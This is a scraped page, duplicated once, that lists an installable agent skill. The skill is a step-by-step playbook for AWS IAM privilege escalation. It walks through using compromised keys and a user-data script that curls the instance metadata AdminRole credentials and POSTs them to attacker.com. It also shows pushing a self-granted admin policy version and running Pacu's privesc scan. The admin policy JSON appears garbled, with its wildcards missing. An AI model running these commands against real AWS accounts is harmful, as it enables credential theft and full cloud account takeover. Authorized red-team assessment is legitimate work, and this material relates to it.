aws-iam-privilege-escalation

Name: aws-iam-privilege-escalation
Author: ShulkwiSEC

18stars5forks

How to install aws-iam-privilege-escalation?

shulkwisec/bb-huge/aws-iam-privilege-escalation

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-iam-privilege-escalation

Installs into the current project.

Summary

Identify and exploit misconfigured Identity and Access Management (IAM) permissions within Amazon Web Services (AWS) to escalate privileges. Use this skill to move from a low-privileged compromised IAM user/role (e.g., via SSRF) to full AdministratorAccess by abusing AssumeRole,

Files · 1

View on GitHub

SKILL.md

1	# AWS IAM Privilege Escalation
2
3	## When to Use
4	- When you have obtained valid AWS credentials (Access Key ID and Secret Access Key), an STS temporary token, or compromised an EC2 instance metadata service (IMDS).
5	- To assess the blast radius of a compromised cloud identity.
6	- When performing a white-box cloud architecture review or executing a Red Team operation in an AWS environment.
7
8
9	## Prerequisites
10	- Authorized scope and rules of engagement for the target environment
11	- Appropriate tools installed on the attack/analysis platform
12	- Understanding of the target technology stack and architecture
13	- Documentation template ready for findings and evidence capture
14
15	## Workflow
16
17	### Phase 1: Authentication & Enumeration
18
19	```bash
20	# Concept: Before escalating, you must understand exactly who you are and what permissions you possess.
21
22	# 1. Configure the compromised credentials
23	export AWS_ACCESS_KEY_ID="AKIA..."
24	export AWS_SECRET_ACCESS_KEY="..."
25	export AWS_SESSION_TOKEN="..." # If using STS/IMDS
26
27	# 2. Identify Current Identity
28	aws sts get-caller-identity
29	# Output:
30	# {
31	# "UserId": "AIDAXXXXXXXXXXXXXXX",
32	# "Account": "123456789012",
33	# "Arn": "arn:aws:iam::123456789012:user/dev-bob"
34	# }
35
36	# 3. Enumerate Attached Policies (If permitted)
37	aws iam list-attached-user-policies --user-name dev-bob
38	aws iam list-user-policies --user-name dev-bob
39
40	# Note: If `iam:List*` is denied, you must use brute-forcing (e.g., Pacu or Enumerate-IAM) to guess what you can do.
41	```
42
43	### Phase 2: Exploiting `iam:PassRole` and `ec2:RunInstances`
44
45	```bash
46	# Concept: If a user can pass a role to an EC2 instance AND spin up that instance,
47	# they can assign an Administrator role to a new machine and log into it.
48
49	# Prerequisite: You discovered the `arn:aws:iam::123456789012:role/AdminRole` exists.
50
51	# 1. Create a Startup Script (User Data) to send the Admin credentials to your listener
52	cat <<EOF > script.sh
53	#!/bin/bash
54	curl http://attacker.com/log -X POST -d "\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"
55	EOF
56
57	# 2. Launch the EC2 instance, passing the Admin Role
58	aws ec2 run-instances \
59	--image-id ami-0abcdef1234567890 \
60	--instance-type t2.micro \
61	--iam-instance-profile Name="AdminRole" \
62	--user-data file://script.sh
63
64	# 3. Execution:
65	# The instance boots, assumes the AdminRole via IMDS, and POSTs the temporary, fully-privileged
66	# Admin STS tokens directly to your attacker server.
67	```
68
69	### Phase 3: Exploiting `iam:CreatePolicyVersion`
70
71	```bash
72	# Concept: AWS allows 5 versions of a managed policy. If you have permission to update your OWN policy,
73	# you can grant yourself AdministratorAccess.
74
75	# 1. Discover you have a policy named `DevAccessPolicy` attached.
76	aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/DevAccessPolicy --version-id v1
77
78	# 2. Create the malicious policy document locally
79	cat <<EOF > admin.json
80	{
81	"Version": "2012-10-17",
82	"Statement": [{ "Effect": "Allow", "Action": "", "Resource": "" }]
83	}
84	EOF
85
86	# 3. Push a new version of the policy and set it as the active default
87	aws iam create-policy-version \
88	--policy-arn arn:aws:iam::123456789012:policy/DevAccessPolicy \
89	--policy-document file://admin.json \
90	--set-as-default
91
92	# You are now a full AWS Administrator.
93	```
94
95	### Phase 4: Automation with Pacu
96
97	```bash
98	# Concept: Manual AWS exploitation is tedious. Use the Pacu exploitation framework by Rhino Security Labs.
99
100	# 1. Start Pacu and configure the session
101	pacu
102	Pacu > set_keys
103
104	# 2. Enumerate Permissions automatically
105	Pacu > run iam__enum_permissions
106
107	# 3. Automatically scan for and execute Privilege Escalation vectors
108	Pacu > run iam__privesc_scan
109
110	# Pacu will test 21 known AWS IAM escalation paths (e.g., `UpdateAssumeRolePolicy`,
111	# `AttachUserPolicy`, `CreateAccessKey`, `PassRole` to Lambda, etc.) and attempt to gain Admin automatically.
112	```
113
114	#### Decision Point 🔀
115	```mermaid
116	flowchart TD
117	A[Compromise AWS Keys] --> B[Get Caller Identity & Enumerate IAM Policies]
118	B --> C{Permissions visible?}
119	C -->\|Yes\| D[Analyze policies for wildcards `*` or dangerous actions]
120	C -->\|No\| E[Use Pacu brute-force enumerati

People who liked this also viewed

6 picks

Type

aws-iam-privilege-escalation

18stars5forks

View on GitHub

How to install aws-iam-privilege-escalation?

shulkwisec/bb-huge/aws-iam-privilege-escalation

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-iam-privilege-escalation

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AWS IAM Privilege Escalation
2
3	## When to Use
4	- When you have obtained valid AWS credentials (Access Key ID and Secret Access Key), an STS temporary token, or compromised an EC2 instance metadata service (IMDS).
5	- To assess the blast radius of a compromised cloud identity.
6	- When performing a white-box cloud architecture review or executing a Red Team operation in an AWS environment.
7
8
9	## Prerequisites
10	- Authorized scope and rules of engagement for the target environment
11	- Appropriate tools installed on the attack/analysis platform
12	- Understanding of the target technology stack and architecture
13	- Documentation template ready for findings and evidence capture
14
15	## Workflow
16
17	### Phase 1: Authentication & Enumeration
18
19	```bash
20	# Concept: Before escalating, you must understand exactly who you are and what permissions you possess.
21
22	# 1. Configure the compromised credentials
23	export AWS_ACCESS_KEY_ID="AKIA..."
24	export AWS_SECRET_ACCESS_KEY="..."
25	export AWS_SESSION_TOKEN="..." # If using STS/IMDS
26
27	# 2. Identify Current Identity
28	aws sts get-caller-identity
29	# Output:
30	# {
31	# "UserId": "AIDAXXXXXXXXXXXXXXX",
32	# "Account": "123456789012",
33	# "Arn": "arn:aws:iam::123456789012:user/dev-bob"
34	# }
35
36	# 3. Enumerate Attached Policies (If permitted)
37	aws iam list-attached-user-policies --user-name dev-bob
38	aws iam list-user-policies --user-name dev-bob
39
40	# Note: If `iam:List*` is denied, you must use brute-forcing (e.g., Pacu or Enumerate-IAM) to guess what you can do.
41	```
42
43	### Phase 2: Exploiting `iam:PassRole` and `ec2:RunInstances`
44
45	```bash
46	# Concept: If a user can pass a role to an EC2 instance AND spin up that instance,
47	# they can assign an Administrator role to a new machine and log into it.
48
49	# Prerequisite: You discovered the `arn:aws:iam::123456789012:role/AdminRole` exists.
50
51	# 1. Create a Startup Script (User Data) to send the Admin credentials to your listener
52	cat <<EOF > script.sh
53	#!/bin/bash
54	curl http://attacker.com/log -X POST -d "\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"
55	EOF
56
57	# 2. Launch the EC2 instance, passing the Admin Role
58	aws ec2 run-instances \
59	--image-id ami-0abcdef1234567890 \
60	--instance-type t2.micro \
61	--iam-instance-profile Name="AdminRole" \
62	--user-data file://script.sh
63
64	# 3. Execution:
65	# The instance boots, assumes the AdminRole via IMDS, and POSTs the temporary, fully-privileged
66	# Admin STS tokens directly to your attacker server.
67	```
68
69	### Phase 3: Exploiting `iam:CreatePolicyVersion`
70
71	```bash
72	# Concept: AWS allows 5 versions of a managed policy. If you have permission to update your OWN policy,
73	# you can grant yourself AdministratorAccess.
74
75	# 1. Discover you have a policy named `DevAccessPolicy` attached.
76	aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/DevAccessPolicy --version-id v1
77
78	# 2. Create the malicious policy document locally
79	cat <<EOF > admin.json
80	{
81	"Version": "2012-10-17",
82	"Statement": [{ "Effect": "Allow", "Action": "", "Resource": "" }]
83	}
84	EOF
85
86	# 3. Push a new version of the policy and set it as the active default
87	aws iam create-policy-version \
88	--policy-arn arn:aws:iam::123456789012:policy/DevAccessPolicy \
89	--policy-document file://admin.json \
90	--set-as-default
91
92	# You are now a full AWS Administrator.
93	```
94
95	### Phase 4: Automation with Pacu
96
97	```bash
98	# Concept: Manual AWS exploitation is tedious. Use the Pacu exploitation framework by Rhino Security Labs.
99
100	# 1. Start Pacu and configure the session
101	pacu
102	Pacu > set_keys
103
104	# 2. Enumerate Permissions automatically
105	Pacu > run iam__enum_permissions
106
107	# 3. Automatically scan for and execute Privilege Escalation vectors
108	Pacu > run iam__privesc_scan
109
110	# Pacu will test 21 known AWS IAM escalation paths (e.g., `UpdateAssumeRolePolicy`,
111	# `AttachUserPolicy`, `CreateAccessKey`, `PassRole` to Lambda, etc.) and attempt to gain Admin automatically.
112	```
113
114	#### Decision Point 🔀
115	```mermaid
116	flowchart TD
117	A[Compromise AWS Keys] --> B[Get Caller Identity & Enumerate IAM Policies]
118	B --> C{Permissions visible?}
119	C -->\|Yes\| D[Analyze policies for wildcards `*` or dangerous actions]
120	C -->\|No\| E[Use Pacu brute-force enumerati

People who liked this also viewed

6 picks

Type